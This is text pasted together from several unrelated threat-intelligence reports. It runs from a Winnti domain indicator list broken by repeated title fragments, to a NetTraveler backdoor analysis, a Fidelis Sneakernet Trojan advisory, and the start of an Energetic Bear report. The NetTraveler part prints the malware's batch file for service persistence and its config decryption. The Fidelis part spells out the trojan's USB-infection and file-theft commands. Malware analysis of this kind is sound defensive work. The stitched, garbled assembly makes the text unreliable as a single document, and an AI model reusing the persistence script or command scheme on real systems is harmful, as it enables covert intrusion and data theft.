googlefiles.net ns4.msftncsl.com Winnti  More than just a game gf.jcrsoft.com sg.xxoo.co ns3.nhnclub.com wog.zzsoft.info ssl.msftncsl.com ns7.msftncsl.com udp.nhntech.com ad.jcrsoft.com ns6.msftncsl.com ibm-support.net gh.zzsoft.info kerberos.dnsalias.com ns1.nhnclub.com imap.zzsoft.info gongyi.co jcrsoft.com uni.vip-webmail.com smtp.jcrsoft.com cc.nexoncorp.us imm.conimes.com mail.hja63.com pass2.googletrait.com club.cjinternet.us mail.nexoncorp.us as.cjinternet.us service.dell-support.org service.googlefiles.net ftp.nexoncorp.us e.gcgame.info hansoft.sunsb.net www.jcrsoft.com ftpd.6600.org sshd.8866.org cpu.4pu.com nx2.joymax.in av.gcgame.info dl-adobe.com cj.jcrsoft.com ro.myxxoo.com rh.gcgame.info cc.xxoo.co swordwind.net lp.xxoo.co brqc.xxoo.co ava.apanku.com wi.gcgame.info zm.gasoft.us as.xxoo.co gh.gasoft.us baesystems.conimes.com ns2.nhnclub.com Winnti  More than just a game intercpu.com e.hja63.com pda.gasoft.us wsafelogin.com mail.nexongame.net smtp.cjinternet.us wm.nhntech.com www.gcgame.info ix.xxoo.co support.dell-support.org han.zzsoft.info imap.hja63.com nhntech.com qc.xxoo.co ip.xxoo.co sl.myxxoo.com mail.joymax.in help.googleclick.net www.nexoncorp.us conimes.com usa.xxoo.co my.reegame.net login.joymax.in hsb.mynetav.net docs.naverpulic.com fax.nexoncorp.us mail.jcrsoft.com guys.mynetav.net google.x3322.org jc.nhntech.com roqc.xxoo.co ws.gcgame.info xss.gongyi.co new.java-ssl.com ava.zzsoft.info eya.jcrsoft.com gn.xxoo.co crl.nhntech.com tah.xxoo.co dns.nhnclass.com zzsoft.info nx.xxoo.co ns2.naverpulic.com pop.zzsoft.info on.xxoo.co pwd.nhntech.com ftp.gcgame.info nx2.hangame.co.uk he.xxoo.co hk.zzsoft.info nhnclass.com Winnti  More than just a game nexoncorp.us w.gasoft.us kr-mail.com ns1.nhnclass.com smtp.nexoncorp.us xv.apanku.com imap.nexoncorp.us stmp.msftncsl.com nx3.hangame.co.uk msftncsl.com soft.hja63.com bcc.hja63.com wm.myxxoo.com ns3.msftncsl.com us.msftncsl.com dns--google.com t3.myxxoo.com au.msftncsl.com support.nexononline.com sg.java-ssl.com l53.xxoo.co udp.myxxoo.com q.gasoft.us nx2.interdriver.net a.gcgame.info mg.zzsoft.info jp.xxoo.co ros.zzsoft.info x64.reegame.net versiontt.no-ip.org imap.cjinternet.us rf.gcgame.info ca.zzsoft.info pda.hja63.com tw.java-ssl.com java-ssl.com sn.jcrsoft.com service.interdriver.net db.nexongame.net id.java-ssl.com perl.mynetav.net osk.jcrsoft.com mini.googletrait.com mail.gcgame.info nc.feelids.com tcpiah.googleclick.net googleclick.net pop.hangame.co.uk www.gasoft.us nxeu.jcrsoft.com eya.zzsoft.info Winnti  More than just a game sellsads.sells-it.net wapqq.3322.org kr.reegame.net nt.nexoncorp.us tcp.nhntech.com www.hja63.com aion.reegame.net su.cjinternet.us get.java-ssl.com eudb.nexongame.net nsqc.xxoo.co mail.gasoft.us kr.jcrsoft.com ads01.mynetav.net gm.gasoft.us a1.reegame.net smtp.gcgame.info pda.jcrsoft.com kor.xxoo.co ns9.msftncsl.com nx.jcrsoft.com nexon.hangame.co.uk smtp.gasoft.us ns2.java-ssl.com alta.apanku.com nexon.joymax.in my.gasoft.us dns2.msftncsl.com ckts.mynetav.net pass1.googletrait.com dns.nhnclub.com kr.zzsoft.info mir.reegame.net jrun.hja63.com wm.googleclick.net bot.dongevil.info mail.zzsoft.info nexononline.com tv.mynetav.net e.gasoft.us xy.hja63.com www.apanku.com usa.nexongame.net ftp.gasoft.us ogp.reegame.net kog.jcrsoft.com www.joymax.in br.xxoo.co ftp.cjinternet.us qc.zzsoft.info pay.gcgame.info Winnti  More than just a game hangame.co.uk test.reegame.net gs.xxoo.co xx.hja63.com ap.myxxoo.com cg.apanku.com ns1.naverpulic.com ree.reegame.net jp.jcrsoft.com interdriver.net ns1.java-ssl.com www.googletrait.com www.zzsoft.info qs.nexongame.net nx3.joymax.in a1.nexongame.net wi.zzsoft.info mx.hja63.com ga.nhntech.com nx.cjinternet.us ftp.jcrsoft.com fm.hja63.com lftv.mynetav.net e.zzsoft.info udp.ibm-support.net nx3.intercpu.com wh.jcrsoft.com zz.xxoo.co shoes.sellClassics.com ar.apanku.com ka.zzsoft.info jjevil.com nexongame.net est.gcgame.info imc.zzsoft.info newpic.dyndns.tv mini.reegame.net update.ddns.net js.nexoncorp.us nd.jcrsoft.com ed.xxoo.co also.msftncsl.com support.interdriver.net ru.cjinternet.us smtp.zzsoft.info pda.gcgame.info th.xxoo.co nhnclub.com www.cjinternet.us ssh.joymax.in tvads01.dyndns.tv Winnti  More than just a game pp.ibm-support.net blog.mynetav.net ijj.conimes.com tank.hja63.com lp.gasoft.us nx3.googlefiles.net pass1.nexongame.net gcqc.xxoo.co br.reegame.net ftpd.9966.org kr.xxoo.co offices.dyndns-office.com hansoft.does-it.net gasoft.us docs.nhnclub.com sf.cjinternet.us pass2.nexongame.net updata-microsoft.com ka.jcrsoft.com us.xxoo.co myav.mynetav.net w53.myxxoo.com isatap.dyndns.org tt.conimes.com vn.gcgame.info ap.nhntech.com bot.jgame.in l.xxoo.co ftp.hja63.com mail.msftncsl.com dns01.dyndns-work.com service.hp-supports.com ns2.nhnclass.com fax.cjinternet.us nx2.intercpu.com windows.doomdns.com btg.mynetav.net xxoo.co mynetav.net mini.msftncsl.com pass2.hangame.co.uk webadmin.dnsdojo.net imap.gcgame.info joymax.in udp.jjevil.com www.reegame.net myxxoo.com iss.conimes.com ads01.dyndns-web.com www.mynetav.net dns.msftncsl.com Winnti  More than just a game pop.jcrsoft.com ball.reegame.net lyto.zzsoft.info rw.nhntech.com els.jcrsoft.com a1.googletrait.com googletrait.com w80.xxoo.co scvhosts.com nexon.nexongame.net pic.4pu.com q.gcgame.info dbo.jcrsoft.com ns2.msftncsl.com ynk.xxoo.co tw.hja63.com pass1.reegame.net my.zzsoft.info www2.mynetav.net www.nexongame.net id.naverpulic.com roap.myxxoo.com openhost.webhop.net mir2.nexongame.net imap.jcrsoft.com pop.gasoft.us bar.zzsoft.info game.nexongame.net fs.nhntech.com osk.zzsoft.info docs.nhnclass.com t3.nhntech.com ahn.gasoft.us officess.dyndns-office.com new.nexoncorp.us dbo.zzsoft.info w.zzsoft.info lp.gcgame.info ro.hja63.com gcgame.info xl.apanku.com web-games.us sl.xxoo.co login.hangame.co.uk ro.xxoo.co dbo.gasoft.us moon.reegame.net egi.mynetav.net vn.jcrsoft.com ftp.mynetav.net us.nhntech.com Winnti  More than just a game masternow.webhop.net file.googlefiles.net holleword.3322.org est.zzsoft.info apanku.com help.ibm-support.net tw.reegame.net est.gasoft.us mg.jcrsoft.com lp.apanku.com smtp.hja63.com xnews.myPicture.info lp.zzsoft.info nx3.interdriver.net rss.6600.org fn.hja63.com usp.xxoo.co ads01.dyndns-pics.com oky.mynetav.net pop.nexoncorp.us naverpulic.com pop.gcgame.info ap.googleclick.net haj.mynetav.net ac.xxoo.co mini.nexongame.net udp.googleclick.net nd.xxoo.co new.myxxoo.com rh.jcrsoft.com wm.xxoo.co dns.java-ssl.com wyqc.xxoo.co q.zzsoft.info pass1.joymax.in item.
ItemDB.com reegame.net mailes.dyndns-mail.com nd.gasoft.us a.zzsoft.info w53.xxoo.co
NetTraveler APT Gets a Makeover for 10th Birthday We have written about NetTraveler before HERE and HERE.
Earlier this year, we observed an uptick in the number of attacks against Uyghur and Tibetan supporters using an updated version of the NetTraveler backdoor.
Heres an example of a targeted spear-phishing e-mail directed at Uyghur activists in March 2014.
The e-mail has two attachments, a non-malicious JPG file and a 373 KB Microsoft Word .DOC file.
File name Sabiq sot xadimi gulnar abletning qeyin-Qistaqta olgenliki ashkarilanmaqta.doc MD5 b2385963d3afece16bd7478b4cf290ce Size 381,667 bytes The .DOC file, which in reality is a Single File Web Page container, also known as Web archive file, appears to have been created on a system using Microsoft Office - Simplified Chinese.
It contains an exploit for the CVE-2012-0158 vulnerability, detected by Kaspersky Lab products as http://securelist.com/blog/incidents/57455/nettraveler-is-back-the-red-star-apt-returns-with-new-tricks/ http://securelist.com/blog/research/35936/nettraveler-is-running-red-star-apt-attacks-compromise-high-profile-victims/ Exploit.MSWord.CVE-2012-0158.db.
If run on a vulnerable version of Microsoft Office, it drops the main module as net.exe (detected by Kaspersky Lab products as Trojan-Dropper.
Win32.Agent.lifr), which in turn installs a number of other files.
The main CC module is dumped into SystemRoot\system32\Windowsupdataney.dll, (detected by Kaspersky as Trojan- Spy.
Win32.TravNet.qfr).
Name WINDOWSUPDATANEY.DLL MD5 c13c79ad874215cfec8d318468e3d116 Size 37,888 bytes It is registered as a service (named Windowsupdata) through a Windows Batch file named DOT.BAT (detected by Kaspersky Lab products as Trojan.
BAT.Tiny.b): echo off reg add HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Win dows NT\CurrentVersion\Svcho st /v Windowsupdata /t REG_MULTI_SZ /d Windowsupdata /f reg add HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe t\Services\Windowsupdat a /v ImagePath /t REG_EXPAND_SZ /d SystemRoot\System32 \svchost.exe -k Windowsupdata /f reg add HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe t\Services\Windowsupdat a /v DisplayName /t REG_SZ /d Windowsupdata /f reg add HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe t\Services\Windowsupdat a /v ObjectName /t REG_SZ /d LocalSystem /f reg add HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe t\Services\Windowsupdat a /v ErrorControl /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe t\Services\Windowsupdat a /v Start /t REG_DWORD /d 2 /f reg add HKEY_LOCAL_MACHINE\ echo off reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost /v Windowsupdata /t REG_MULTI_SZ /d Windowsupdata /f reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata /v ImagePath /t REG_EXPAND_SZ /d SystemRoot\System32\svchost.exe -k Windowsupdata /f reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata /v DisplayName /t REG_SZ /d Windowsupdata /f reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata /v ObjectName /t REG_SZ /d LocalSystem /f reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata /v ErrorControl /t REG_DWORD /d 1 /f reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata /v Start /t REG_DWORD /d 2 /f reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata\Parameters /v ServiceDll /t REG_EXPAND_SZ /d SystemRoot\system32\Windowsupdataney.dll /f To make sure the malware isnt running multiple times, it uses the mutex SD_2013 Is Running to mark its presence in the system.
Other known mutexes used by older and current variants include: Boat-12 Is Running DocHunter2012 Is Running Hunter-2012 Is Running NT-2012 Is Running NetTravler Is Running NetTravler2012 Is Running SH-2011 Is Running ShengHai Is Running SD2013 is Running The malware configuration file is written to the SYSTEM folder (as opposed to SYSTEM32) and has a slightly new format compared to older NetTraveler samples: For the record, heres what an older NetTraveler config file looks like: Obviously, the developers behind NetTraveler have taken steps to try to hide the malwares configuration.
Luckily, the encryption is relatively simple to break.
The algorithm is as follows: for (i0istring_sizei) decrypted[i]encrypted[i] - (i  0xa) Once decrypted, the new config looks like this: One can easily see the command-and-control (CC) server in the screenshot above, which is uyghurinfo[.
]com.
We identified several samples using this new encryption scheme.
A list of all the extracted CC servers can be found below: CC server IP IP location Registrar ssdcru[.
]com 103.30.7.77 Hong Kong, Albert Heng, Trillion Company SHANGHAI MEICHENG TECHNOLOGY uygurinfo[.
]com 216.83.32.29 United States, Los Angeles, Integen Inc TODAYNIC.COM INC.
samedone[.
]com 122.10.17.130 Hong Kong, Kowloon, Hongkong Dingfengxinhui Bgp Datacenter SHANGHAI MEICHENG TECHNOLOGY gobackto[.
]net 103.1.42.1 Hong Kong, Sun Network (hong Kong) Limited SHANGHAI MEICHENG TECHNOLOGY worksware[.
]net N/A N/A SHANGHAI MEICHENG TECHNOLOGY jojomic[.
]com was 202.146.219.14 Hong Kong, Sun Network (hong Kong) Limited SHANGHAI MEICHENG TECHNOLOGY angellost[.
]net was 103.17.117.201 hong kong hung tai international holdings SHANGHAI MEICHENG TECHNOLOGY husden[.
]com was 103.30.7.76 hong kong hung tai international holdings SHANGHAI MEICHENG TECHNOLOGY We recommend blocking all these hosts in your firewall.
Conclusion This year, the actors behind NetTraveler celebrate 10 years of activity.
Although the earliest samples we have seen appear to have been compiled in 2005, there are certain indicators that point to 2004 as the year when their activity started.
For 10 years NetTraveler has been targeting various sectors, with a focus on diplomatic, government and military targets.
https://securelist.com/files/2014/08/NetTraveler_5.jpg NetTraveler victims by industry Most recently, the main focus of interest for cyber-espionage activities revolved around space exploration, nano-technology, energy production, nuclear power, lasers, medicine and communications.
The targeting of Uyghur and Tibetan activists remains a standard component of their activities and we can assume it will stay this way, perhaps for another 10 years.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Users are granted permission to copy and/or distribute this document in its original electronic form and print copies for personal use.
This document cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written approval of General Dynamics Fidelis Cybersecurity Solutions Inc.
While we have done our best to ensure that the material found in this document is accurate, General Dynamics Fidelis Cybersecurity Solutions makes no guarantee that the information contained herein is error free.
Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow Up  1 Threat Advisory 1011 Page 1 of 11 Intruder File Report- Sneakernet Trojan Follow-Up 1 Fidelis Threat Advisory 1011 Intruder File Report- Sneakernet Trojan January 31, 2014 Document Status: FINAL Last Revised: 2014-01-31 Executive Summary Previous General Dynamics Fidelis Cybersecurity Services (Fidelis) reporting, ref: Fidelis Threat Advisory (FTA) 1011 dated 15 Jan 2014, introduced a malware system comprised of multiple files that provided a means for intruders to discover and retrieve data from disparate computer systems via removable storage devices.
The malware system consists of at least two Portable Executable (PE) files, one acting as a headquarters component and one acting as field unit or agent component.
The headquarters component infects drives connected to its host system with the field unit component and retrieves data from the field unit on the infected drives return to the headquarters host system.
The field unit conducts reconnaissance and data collection in accordance with particular commands.
Continuing analysis solidified the headquarters components Command and Control (C2) scheme.
The malware receives commands from a locally stored encrypted file.
This report describes select malware functionality with some granularity, provides extended detail regarding the headquarters components C2 functionality, provides additional means of defensive detection of this malware and describes some interesting aspects of the malware as a whole.
The Fidelis team updated Fidelis XPSTM advanced threat defense system with additional rules to reflect current analysis findings associated with this malware.
Forensic Analysis Findings Basic Functionality Previous reporting, ref: Fidelis Threat Advisory (FTA) 1011 dated 15 Jan 2014, introduced a malware system comprised of multiple files that reflected a means for intruders to discover and retrieve data from disparate computer systems via removable storage devices.
Analysis of the system relied on the availability of two files named netsat.exe and netui3.dll.
Netsat.exe functioned as a master application affording intruders the ability, in a selective and controlled manner, to infest removable devices with an agent application in the form of netui3.dll, aka www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 2 of 11 Intruder File Report: Sneakernet Trojan setup35.exe, aka update.exe.
Previous reporting likened netsat.exe as a headquarters application and netui3.dll as a field unit with the following basic functionality: Headquarters (netsat.exe) Running on a possibly compromised system Logging some activity and errors to a file Receiving commands via an encrypted file on the local system (possible C2) Listening for drive connections Infecting connected drives with netui3.dll/winmgt.dll (setup35.exe  Autorun.inf) Collecting data gathered by any infected drives, ostensibly upon their return from being connected to other systems Field Unit (netui3.dll) Collecting information about systems it comes into contact with through connection to the targeted systems with the drive whereon the malware resides Collecting file listings from local and share connected drives Discovering and connecting to shared drives visible to the local targeted system Copying and writing files to/from drives visible to the local targeted system The following graphic serves to illustrate a possible basic theory of operation given available data: www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 3 of 11 Intruder File Report: Sneakernet Trojan Field Unit (netui3.dll/setup35.exe/update.exe) Functionality File Name:  netui3.dll File Size:  39424 bytes MD5:        68aed7b1f171b928913780d5b21f7617 Continued analysis disclosed details regarding the field unit/agent application.
The following reflects observations during field unit execution from an infected external drive: The malware attempts to ensure errors are suppressed and not observed by a user The malware performs specific environment checking to adapt to Windows versions from at least Windows 2000 to Windows7/Server 2008 and up The malware terminates if it detects another iteration of itself via the Mutex Mtx_Sp_on_PC_1_2_8 The malware terminates if any Gateway IPs associated with the resident system are in the 10.x.x.x range The malware copies itself to CSIDL_LOCAL_APPDATA\Microsoft\Windows\Help\update.exe The malware runs update.exe with the parameters -wu external drive letter, e.g., z:, with the temporary directory specified for the working directory The malware copies a file named disk.ini from the infected drive to CSIDL_LOCAL_APPDATA\Microsoft\Windows\Help\intr The malware checks the system date against 31 May 2013 if on or after, the malware terminates The malware copies CSIDL_LOCAL_APPDATA\Microsoft\Windows\Help\intr to CSIDL_LOCAL_APPDATA\Microsoft\Windows\Chars\intr Headquarters (netsat.exe) Functionality  C2 Mechanism File Name:  netsat.exe File Size:  43520 bytes MD5:        eb8399483b55f416e48a320d68597d72 Previous analysis results indicated netsat.exe retrieved commands from an encrypted file named netwn.drv resident in the CSIDL_WINDOWS\msagent\ directory.
The encryption was a Tiny Encryption Algorithm (TEA) implementation that used a key that was modified during encryption and decryption operations.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 4 of 11 Intruder File Report: Sneakernet Trojan The following command file hex editor excerpt illustrates the command files obfuscation in a contrived instance: Offset      0  1  2  3  4  5  6  7   8  9 10 11 12 13 14 15 00000000   AA AA AA BE BA FE CA EF  BE AD DE 0D F0 AD 0B ED 00000016   FE DE C0 10 00 BB 6D E4  40 60 34 CC 6A 0A B7 2A     m4j 00000032   AA 43 C5 86 C6 10 00 FD  5B ED CE BE 6C D8 42 B4   C  [lB 00000048   90 AE 36 31 5D 40 A3 10  00 C0 5E 8A 4C 0F 0C 72    61]  L  r 00000064   2E AA A2 28 20 16 20 0E  7A                        .
(
z Note: 1st Three Bytes  Unknown utility, Next 16 bytes  Encryption Key, Bytes 20 and 21 Command Data Size, Bytes 22-37  encrypted command data Command Data Before Encryption/After Decryption d81596a9 ferry 0 dir 5 Analysis efforts did not have access to command files retrieved from the victim systems for either the headquarters or the field unit applications.
However, using the malwares behavior and determining the command files format via reverse engineering afforded the ability to test numerous  assumptions about the malwares intended use.
Analysis determined the command format was: drive identification followed by one or more command and parameter strings.
The following table reflects testing and theoretical contents of command files driving netsat.exe operation: www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 5 of 11 Intruder File Report: Sneakernet Trojan Test Commands One - Infection Attempt and Retrieval of Data Collection From a Remote System Command Description Outcome  notmyser designates a volume serial number ferry 1 infect the just listed identified drive fails because notmyser does not match an attached drive  d81596a9 designates a volume serial number this S/N is from actually attached drive getres collect data harvested from a targeted system success copies data from ext.drv\RECYCLED\RECYCLED\SYS to CSIDL_NETHOOD\Microsoft\Intel (Note: before copy checks if file exists in \Intel and determines file size - the implication is the possibility of updating previously retrieved files)  00 designates any connected drive 00 acts a wildcard for volume serial number dir 5 retrieve a directory listing did not execute because a volume serial number (d81596a9) was previously found Test Commands Two - Retrieve Directory Listing From Any Connected Drive and Attempt Data Collection Retrieval Command Description Outcome  00 designates any connected drive dir 5 retrieve a directory listing directory listing obtained from next connected drive  d81596a9 designates a volume serial number this S/N is from actually attached drive getres collect data harvested from a targeted system did not execute www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 6 of 11 Intruder File Report: Sneakernet Trojan The Following Are Hypothetical Scenarios Designed to Illustrate Possible Employment Options Possible Commands One - Targeting Specific Devices (Known to Intruder From Previous netsat/netui3 Activity) Command Description  sernum1 designates a volume serial number getres collect data harvested from a targeted system  sernum2 designates a volume serial number ferry 1 infect this particular drive  00 designates any connected volume not listed above dir 4 retrieve a directory listing from the just connected drive, re: 00 Possible Commands Two - Maximizing Propagation (Theoretical) Command Description  sernum1 designates a particular volume serial number cmd1 particular command cmd2 particular command  sernum2 designates a particular volume serial number cmd3 particular command cmd4 particular command cmd5 particular command  00 designates any connected volume not listed above ferry 0 infect the just connected drive, re: 00 dir 5 retrieve a directory listing from the just connected drive, re: 00 Headquarters (netsat.exe) Functionality  Log File The headquarters component (netsat.exe) logs certain events in a file located at CSIDL_MYPICTURES\wins.
Analysis indicates the log file is probably stored in the clear, i.e., the contents are not obfuscated.
Example log file contents are presented as follows: St 01/18/13 12:03:30 into d81596a9 ar 01/18/13 12:03:44 Total:30532M, Free:30387M www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 7 of 11 Intruder File Report: Sneakernet Trojan End copy  : E:\RECYCLED\RECYCLED\SYS\file1.txt End copy  : E:\RECYCLED\RECYCLED\SYS\interesting.txt Re on Fin The following strings, which are not all inclusive or exclusive, could be used to find log files, fragments or contents on devices and on a network: Format String Example/Explanation Total:I64dM, Free:I64dM Total:30532M, Free:30387M Get disk space error  d error  3 add drive, n   add drive, n  5 (5 represents E drive) u ser 08x ar s s 8 hex digits ar date time Cant open file s, error  d ERROR Register notification Up ad dri, nDd ad dri, nD5 Cr Des\n Indicates failure to open desktop.ini for writing Cr De.i.
errd\n Specifies error code for failure to open desktop.ini for writing up s \n e:d\n Indicates failure to create the RECYLCED/RECYCLER directory.
Example: up E: newline e:3 Get Dir_c1 error Indicates failure to retrieve that CSIDL_WINDOWS path for building of the netwi.drv path during ferry command www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 8 of 11 Intruder File Report: Sneakernet Trojan Format String Example/Explanation cp cf e:d Indicates error copying netwi.drv to disk.ini.
c r\n Indicates error copying setup35.exe c tr\n c .inf, e:d Indicates error opening AutoRun.inf for binary write C c\n c .inf Indicates could not create AutoRun.inf c ser Indicates could not copy netu3.dll/setup35.exe Get volume path  s Get disk memory Interesting Artifacts and Observations Previous and continuing analysis results indicated some interesting and/or relevant aspects of this malware: The malware tries to be quiet - error handling There was robust implementation intention across Windows versions The malware employs robust environment checking frustrating inadvertent execution and analysis The malware prevents multiple iterations of itself on individual systems The malware does not run on systems using Gateways assigned a particular internal net range (10.x.x.x) The malwares execution has an expiration date The malware purposely obfuscates and complicates C2 The malware injects complexity into C2 encryption operations obfuscating execution and frustrating/delaying analysis The malware uses obscure file system paths The malware author, ironically or purposely, named a collected data storage folder Intel www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 9 of 11 Intruder File Report: Sneakernet Trojan The following interesting questions/assumptions emerged from previous cursory analysis of this malware: C2 appears to be accomplished via providing commands in an encrypted file stored on the local master system (re: netsat.exe).
This C2 scheme would seem to dictate: o  Intruder remote access to the master system o Intruder local access to the master system o a C2 delivery/retrieval component, such as another piece of code that downloads a C2 file Available information precludes determination of the means of exfiltration.
Netsat.exes data collection functionality suggested data destined for exfiltration might be collected by the master system.
This possibility suggests: o Intruder remote access to the master system o Intruder local access to the master system o An exfiltration mechanism in the form of another piece of code Further analysis confirms the malwares use of an encrypted file stored on the system whereon the malware is executing without an apparent means of automatic generation.
This continues to suggest that intruders either have local or remote access to headquarters systems running netsat.exe or access to another application that automates remote C2 data/file retrieval.
Intruders apparent ability to distinguish between particular field unit vehicles (infected drives), ref:  Possible Commands One - Targeting Specific Devices (Known to Intruder From Previous netsat/netui3 Activity) from Hypothetical command table, suggests active engagement with the malware and targets.
Conclusion This report is based on information extracted from reverse engineering and analysis of two PE files.
There are other components and artifacts of this malware that are currently inaccessible to Fidelis analysts.
Therefore, analysts extrapolated some of the behavior presented here.
While analysts are confident about behaviors described to date, there could certainly be additional behaviors and nuances heretofore unseen.
Analysis of this malware continues to suggest that a sophisticated effort was behind its creation and employment.
Actors went to great lengths to make the malware efficient and effective while building in obfuscation and complexity.
Interesting artifacts and observations continue to be discovered and made, such as the malwares apparent expiration, the interesting naming convention for a directory to hold collected data, and the actors apparent intention to avoid certain networks or network addressing schemes.
www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 10 of 11 Intruder File Report: Sneakernet Trojan Analysis continues and any relevant additional information will be reported as soon as practicable.
Appendix 1 Commands (for reference purposes) The following commands and their descriptions, listed by executable file, illustrate the submitted malwares functionality: netsat.exe Command Description cpd copies directories and contents cpr copies files with size checking der deletes files and records activity in log dir obtains a directory listing ferry writes malicious files to a hidden RECYCLED or RECYCLER directory Files: setup35.exe (renamed netui3.dll), Autorun.inf, disk.ini (renamed netwi.drv), act.te getres iteratively copies files from RECYCLED/RECYCLER directory on target drive, deletes from source after copy - source is assumed to be drive used to collect data from one or more systems netui3.dll (setup35.exe) Command Description cp copies files from one location to another cpu copies files from one location to another setting copied files as hidden cptur creates a directory and copies file to that directory ddr silently deletes directory (performs an FO_DELETE shell file operation on a directory with the FOF_NOERRORUI, FOF_NOCONFIRMATION, and FOF_SILENT flags set) del deletes a file delu deletes a file after setting attributes to normal gd recursively writes and reads encoded data to/from a directory gdir prints directory listings to FF323D.tmp data gets encoded original FF323D.tmp file is deleted gf writes and reads encoded data to/from a file www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev.
2014-01-31 Follow up 1 Threat Advisory 1011 Page 11 of 11 Intruder File Report: Sneakernet Trojan netui3.dll (setup35.exe) Command Description gfover determines if it has access to a file may be a temp file creation/rename involved gi collects system related and possibly network related information such as, domains, system information ndr creates a directory newend closes a file that was opened for writing newstar sets normal attributes on a targeted file, deletes the file, opens the same file name as a binary file wr writes a string to a new file opened by the newstar command.
runb try to run a targeted executable and then checks for the existence of that file every second for the next 15 minutes as long as it exists rune try to run a targeted executable one time slf generates a targeted file listing, e.g., dir, then copies the files in the list one by one srf copies files in a list one by one srmf uses NetUseAdd to connect to ipc share of a target host, creates a listing of files in the c - z shares of the target host, copies the files to a new location, deletes the share connection added using NetuseAdd Note: rows highlighted in grey denote a best guess on functionality more analysis needed
Energetic Bear  Crouching Yeti Global Research and Analysis Team July 2014 Version 1.0 2 TLP: Green 1.
Executive Summary Energetic Bear/Crouching Yeti is an actor involved in several advanced persistent threat (APT) campaigns that have been active going back to at least the end of 2010.
Targeted sectors include: Industrial/machinery Manufacturing Pharmaceutical Construction Education Information technology Most of the victims we identified fall into the industrial / machinery building sector, indicating this is of special interest.
To infect the victims, the attackers rely on three methods: Spearphishing using PDF documents embedded with a flash exploit (CVE-2011-0611) Trojanized software installers Waterhole attacks using a variety of re-used exploits During the attacks, the Crouching Yeti uses several malware / Trojans, which exclusively infect Windows systems: Havex Trojan Sysmain Trojan The ClientX backdoor Karagany backdoor and related stealers Lateral movement and second stage tools For command and control, these connect to a large network of hacked websites.
These sites host malware modules, victim information and issue commands to infected systems.
The dozens of known Yeti exploit sites and their referrer sites were legitimate, compromised sites.
They ran vulnerable content management systems or vulnerable web applications.
None of the exploits used to compromise the servers were known to be zero-day.
None of the client side exploits re-used from the open source metasploit framework were zero-day.
Overall, we observed about 2,800 victims worldwide, the most prevalent attack tool being the Havex Trojan.
3 TLP: Green We believe this group is highly determined and focused on a very specific industrial sector of vital interest.
It uses a variety of ways to infect its victims and exfiltrate strategic information.
The analyzed data seems to suggest the following points: It is not currently possible to determine the Country of origin The attackers global focus is much broader than power producers Their toolset has remained stable over time Managed, minimal, methodical approach to sustained operation Appropriate use of encryption (symmetric key protected with attackers public key for encrypted log file exfiltration) This report provides technical details on how they perform their operations.
4 TLP: Green Table of contents 1.
Executive Summary ..................................................................................................................... 2 2.
Analysis ...................................................................................................................................... 5 2.1.
Delivery ................................................................................................................................ 5 2.2.
Malware ............................................................................................................................. 12 2.2.1 The Havex Loader ........................................................................................................... 12 2.2.2 The Ddex Loader ............................................................................................................ 16 2.2.3 The Sysmain backdoor .................................................................................................... 16 2.2.4 The ClientX backdoor ...................................................................................................... 17 2.2.5 The Karagany Backdoor .................................................................................................. 18 2.3.
CC servers and victims ....................................................................................................... 20 2.3.1.
Victims ......................................................................................................................... 24 2.3.2.
Victims-CC relationship ............................................................................................... 32 3.
Attribution ................................................................................................................................ 33 3.1.
Non-specific Data ............................................................................................................. 33 3.2.
Exploit server activity ....................................................................................................... 36 3.3.
Victim characteristics and categories ................................................................................. 36 4.
Conclusions ............................................................................................................................... 37 Contact information For any inquire please contact mailto:intelreportskaspersky.com mailto:intelreportskaspersky.com 5 TLP: Green 2.
